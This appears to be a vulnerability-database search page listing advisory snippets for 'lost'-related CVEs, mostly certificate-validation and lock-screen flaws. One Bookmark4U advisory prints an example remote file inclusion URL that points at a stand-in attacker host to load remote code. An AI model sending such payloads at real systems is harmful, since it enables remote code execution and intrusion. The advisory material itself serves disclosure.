Lucene search
+L

633 matches found

Cvelist
Cvelist
•added 2014/10/20 10:00 a.m.•34 views

CVE-2014-7611

The Lost Temple aka com.crazy.game.good.mengchenglu.templeI application 1.6 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

5.9AI score0.00266EPSS
SaveExploits0References3
CVE
CVE
•added 2014/10/20 10:00 a.m.•47 views

CVE-2014-7611

The Lost Temple Android app (package com.crazy.game.good.mengchenglu.templeI) version 1.6 does not verify SSL server X.509 certificates, allowing MITM attackers to spoof servers and obtain sensitive information via a crafted certificate. Root cause is disabled certificate validation; impact is pa...

5.4CVSS6AI score0.00266EPSS
SaveExploits0References3Affected Software1
Cvelist
Cvelist
•added 2014/10/20 10:00 a.m.•34 views

CVE-2014-7485

The Not Lost Just Somewhere Else aka it.tinytap.attsa.notlost application 1.6.1 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

5.9AI score0.00266EPSS
SaveExploits0References3
CVE
CVE
•added 2014/10/20 10:00 a.m.•55 views

CVE-2014-7485

CVE-2014-7485 concerns the Android app “The Not Lost Just Somewhere Else” (1.6.1) which does not verify X.509 certificates from SSL servers. This vulnerability allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate. Documented impact indicat...

5.4CVSS6AI score0.00266EPSS
SaveExploits0References3Affected Software1
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2014/10/20 12:00 a.m.•5 views

CVE-2014-7485: Undefined Security Weakness

The Not Lost Just Somewhere Else aka it.tinytap.attsa.notlost application 1.6.1 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

5.4CVSS5.8AI score0.00266EPSS
SaveExploits0References2
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2014/10/20 12:00 a.m.•4 views

CVE-2014-7611: Undefined Security Weakness

The Lost Temple aka com.crazy.game.good.mengchenglu.templeI application 1.6 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

5.4CVSS5.8AI score0.00266EPSS
SaveExploits0References2
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2014/10/18 12:00 a.m.•7 views

CVE-2014-4435: Improper Authentication

The "iCloud Find My Mac" feature in Apple OS X before 10.10 does not properly enforce rate limiting of lost-mode PIN entry, which makes it easier for physically proximate attackers to obtain access via a brute-force attack involving a series of reboots...

4.4CVSS5.7AI score0.00328EPSS
SaveExploits0References2
seebug.org
seebug.org
•added 2014/07/01 12:00 a.m.•20 views

x86 linux hard / unclean reboot (33 bytes)

No description provided by source. / 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ /'\ \ /\ \ \ \ /'\ 0 0 \ \ /\ /\ \ \ \ /\ \ \ /\ /\ \ \ \ \ \ \ / 1 1 \ \ \ \\ \ \ /\ \...

7.1AI score
SaveExploits0
Kitploit
Kitploit
•added 2014/02/28 1:11 a.m.•33 views

[RouterPassView] Recover lost password from router backup file

Most modern routers allow you to backup the configuration of the router into a file, and then restore the configuration from the file when it's needed. The backup file of the router usually contains important data like your ISP user name/password, the login password of the router, and wireless...

7.4AI score
SaveExploits0
Prion
Prion
•added 2013/09/19 10:28 a.m.•24 views

Code injection

Springboard in Apple iOS before 7 does not properly manage the lock state in Lost Mode, which allows physically proximate attackers to read notifications via unspecified vectors...

2.1CVSS5.8AI score0.00372EPSS
SaveExploits0References4Affected Software1
Cvelist
Cvelist
•added 2013/09/19 10:00 a.m.•42 views

CVE-2013-5153

Springboard in Apple iOS before 7 does not properly manage the lock state in Lost Mode, which allows physically proximate attackers to read notifications via unspecified vectors...

5.5AI score0.00372EPSS
SaveExploits0References4
CVE
CVE
•added 2013/09/19 10:00 a.m.•61 views

CVE-2013-5153

CVE-2013-5153 affects Apple iOS Springboard in Lost Mode. The issue is improper lock state management, allowing physically proximate attackers to read notifications. The remediation documented in the connected Apple security update indicates an improved lock state handling, addressed in iOS 7.0+....

2.1CVSS5.5AI score0.00372EPSS
SaveExploits0References4Affected Software1
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2013/09/19 12:00 a.m.•6 views

CVE-2013-5153: Undefined Security Weakness

Springboard in Apple iOS before 7 does not properly manage the lock state in Lost Mode, which allows physically proximate attackers to read notifications via unspecified vectors...

2.1CVSS5.8AI score0.00372EPSS
SaveExploits0References2
OpenVAS
OpenVAS
•added 2013/08/01 12:00 a.m.•35 views

Fedora Update for kmouth FEDORA-2013-13499

Check for the Version of kmouth OpenVAS Vulnerability Test Fedora Update for kmouth FEDORA-2013-13499 Authors: System Generated Check Copyright: Copyright c 2013 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the ter...

7.5CVSS0.4AI score0.04497EPSS
SaveExploits1References2
Fedora
Fedora
•added 2013/06/12 2:34 a.m.•24 views

[SECURITY] Fedora 18 Update: kmouth-4.10.4-1.fc18

Program that allows people who have lost their voice to let their computer speak for them...

8.4CVSS2.8AI score0.00558EPSS
SaveExploits1
Cvelist
Cvelist
•added 2012/12/18 1:00 a.m.•46 views

CVE-2012-5607

The "Lost Password" reset functionality in ownCloud before 4.0.9 and 4.5.0 does not properly check the security token, which allows remote attackers to change an accounts password via unspecified vectors related to a "Remote Timing Attack."...

6.7AI score0.02102EPSS
SaveExploits0References4
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2012/12/18 12:00 a.m.•6 views

CVE-2012-5607: Undefined Security Weakness

The "Lost Password" reset functionality in ownCloud before 4.0.9 and 4.5.0 does not properly check the security token, which allows remote attackers to change an accounts password via unspecified vectors related to a "Remote Timing Attack."...

5CVSS6AI score0.02102EPSS
SaveExploits0References2
ThreatPost
ThreatPost
•added 2012/09/05 5:59 p.m.•13 views

Most Smartphone Users Consider Privacy When Vetting Apps

Cellphone owners now account for 88 percent of the U.S. population, of which some 43 percent say they download applications on their phones. Among these ‘app users,’ 57 percent told the Pew Internet and American Life Project that they have either uninstalled existing applications or made the...

0.3AI score
SaveExploits0References2
ThreatPost
ThreatPost
•added 2012/07/16 6:52 p.m.•25 views

Data Breach Reports Remain Spotty, Study Finds

In a twist on Tolstoy’s famous observation that “all happy families are alike,” the Identity Theft Resource Center ITRC is warning that the public is being told that ‘all data breaches are alike,’ as corporations paint a worryingly bland portrait of breaches and other data loss incidents affectin...

6.9AI score
SaveExploits0References5
securityvulns
securityvulns
•added 2012/07/09 12:00 a.m.•147 views

Bookmark4U lostpasswd.php env[include_prefix] Parameter RFI

vendor - http://bookmark4u.sourceforge.net/ version - 2.1 solution - product discontinued example - http://target/bookmark4u/lostpasswd.php?env5Bincludeprefix5D=http://attacker/path/to/file.txt???...

1AI score
SaveExploits0
Rows per page
Query Builder